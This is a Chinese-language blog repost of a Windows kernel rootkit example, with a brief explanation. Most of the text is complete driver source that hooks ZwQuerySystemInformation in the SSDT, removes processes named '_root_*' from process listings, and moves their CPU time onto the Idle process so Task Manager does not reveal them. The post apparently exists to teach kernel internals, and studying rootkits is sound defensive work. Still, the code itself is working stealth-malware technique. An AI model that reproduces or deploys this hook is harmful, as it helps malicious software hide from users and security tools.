[转]ROOT进程隐藏
原文 http://blog.sina.com.cn/s/blog_5371d2790100d2fg.html
这是《subverting windows kernel》中API hook的一个例子，实现的功能就是进程隐藏。
实现机制：系统通过调用ZwQuerySystemInformation函数实现系统信息的查询，比如Taskmgr.exe使用该函数列举系统中运行的进程。通过Hook该函数并进行修改，对查询结果进行操作，从而实现进程隐藏。
具体代码+分析：
代码结构：四部分。第一部分：变量、宏、数据结构、函数原型等的声明
第二部分：NewZwQuerySystemInformation函数体
第三部分：驱动基本组成部分，DriverEntry和OnUnload
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#include "ntddk.h"
#pragma pack(1)
//定义一个KeServiceDescriptorTable结构体，该结构用来强制转换由windows内核导出的//KeServiceDescriptorTable变量的类型。
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
// SYSTEMSERVICE 该宏采用由Ntoskrnl.exe导出的Zw*函数的地址，并返回相应的Nt*
//函数在SSDT中的地址
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
//MDL是一个内存描述符列表，这里声明一块内存区域。
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
// SYSCALL_INDEX宏采用Zw*函数地址并返回它在SSDT中相应的索引号。
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
// UNHOOK_SYSCALL宏的作用是：
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//系统线程结构体定义
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
//系统进程结构体定义
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
//处理器时间结构体定义
struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
};
// ZwQuerySystemInformation函数声明
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
//保存原来的函数原型
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
//定义两个全局变量，用于保存全局内核时间和用户时间
LARGE_INTEGER m_UserTime;
LARGE_INTEGER m_KernelTime;
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// ZwQuerySystemInformation() returns a linked list of processes.
// The function below imitates it, except it removes from the list any
// process who's name begins with "_root_".
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( NT_SUCCESS(ntStatus))
{
// Asking for a file and directory listing
if(SystemInformationClass == 5)
//SystemInformationClass =5代表查询系统进程信息
{
//定义两个进程结构体，curr和prev
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
//DbgPrint("Current item is %x\n", curr);
if (curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
if(prev) // Middle or Last entry
{
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
else // we are last, so make prev the end
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// we are first in the list, so move it forward
(char *)SystemInformation += curr->NextEntryDelta;
}
else // we are the only process!
SystemInformation = NULL;
}
}
}
else // This is the entry for the Idle process
{
// Add the kernel and user times of _root_*
// processes to the Idle process.
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
// Reset the timers for next time we filter
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
}
}
return ntStatus;
}
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("ROOTKIT: OnUnload called\n");
// unhook system calls
UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );
// Unlock and Free MDL
if(g_pmdlSystemCall)
{
MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
IoFreeMdl(g_pmdlSystemCall);
}
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath)
{
// Register a dispatch function for Unload
theDriverObject->DriverUnload = OnUnload;
// Initialize global times to zero
// These variables will account for the
// missing time our hidden processes are
// using.
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
// save old system call locations
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION(SYSTEMSERVICE(ZwQuerySystemInformation));
// Map the memory into our domain so we can change the permissions on the MDL
g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// Change the flags of the MDL
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
// hook system calls
HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
return STATUS_SUCCESS;
}
总结：系统中的进程通过一个双向链表（是不是循环的还有待验证）组织在一起，代码中红色部分，就是执行一个遍历过程。刚开始有点迷糊，后来再请教了看雪的一个朋友后总算搞懂了。
